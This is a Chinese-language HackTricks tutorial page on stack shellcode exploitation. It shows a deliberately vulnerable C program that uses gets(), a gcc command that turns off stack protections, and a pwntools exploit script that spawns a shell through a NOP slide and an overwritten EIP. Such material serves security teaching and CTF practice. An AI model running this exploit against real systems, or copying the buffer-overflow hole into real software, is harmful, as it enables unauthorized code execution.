> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/binary-exploitation/stack-overflow/stack-shellcode.md).

# Stack Shellcode

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

## 基本信息

**栈 Shellcode** 是一种在**二进制利用**中使用的技术，攻击者将 shellcode 写入一个易受攻击程序的栈中，然后修改**指令指针（IP）或扩展指令指针（EIP）**，使其指向该 shellcode 的位置，从而执行该 shellcode。这是一种经典方法，用于未经授权访问或在目标系统上执行任意命令。以下是该过程的详细说明，包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的利用程序。

### C 示例：一个易受攻击的程序

让我们从一个易受攻击的 C 程序的简单示例开始：

```c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```

这个程序由于使用了`gets()`函数而容易受到缓冲区溢出的影响。

### 编译

要编译这个程序并禁用各种保护措施（以模拟一个有漏洞的环境），您可以使用以下命令：

```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```

* `-fno-stack-protector`: 禁用堆栈保护。
* `-z execstack`: 使堆栈可执行，这对于在堆栈上执行存储的 shellcode 是必要的。
* `-no-pie`: 禁用位置无关可执行文件，使得更容易预测 shellcode 将位于的内存地址。
* `-m32`: 将程序编译为 32 位可执行文件，通常用于简化利用开发。

### 使用 Pwntools 编写的 Python 攻击

以下是如何使用 **pwntools** 在 Python 中编写攻击以执行 **ret2shellcode** 攻击：

```python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()
```

这个脚本构建了一个由**NOP滑动**、**shellcode**组成的有效载荷，然后用指向NOP滑动的地址覆盖**EIP**，确保shellcode被执行。

**NOP滑动**(`asm('nop')`)用于增加执行进入我们的shellcode的机会，无论确切地址如何。调整`p32()`参数为缓冲区起始地址加上一个偏移量，以落入NOP滑动中。

## 保护措施

* [**ASLR**](/binary-exploitation/common-binary-protections-and-bypasses/aslr.md) **应该被禁用**，以确保地址在不同执行中可靠，否则函数存储的地址不会始终相同，你需要一些泄漏来找出win函数加载的位置。
* [**栈保护**](/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries.md)也应该被禁用，否则受损的EIP返回地址将不会被跟随。
* [**NX**](/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md) **栈**保护会阻止在栈内执行shellcode，因为该区域不可执行。

## 其他示例和参考资料

* <https://ir0nstone.gitbook.io/notes/types/stack/shellcode>
* <https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html>
* 64位，带有栈地址泄漏的ASLR，编写shellcode并跳转至其
* <https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html>
* 32位，带有栈泄漏的ASLR，编写shellcode并跳转至其
* <https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html>
* 32位，带有栈泄漏的ASLR，比较以防止调用exit()，用值覆盖变量并编写shellcode并跳转至其
* <https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/>
* arm64，无ASLR，ROP gadget使栈可执行并跳转至栈中的shellcode

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
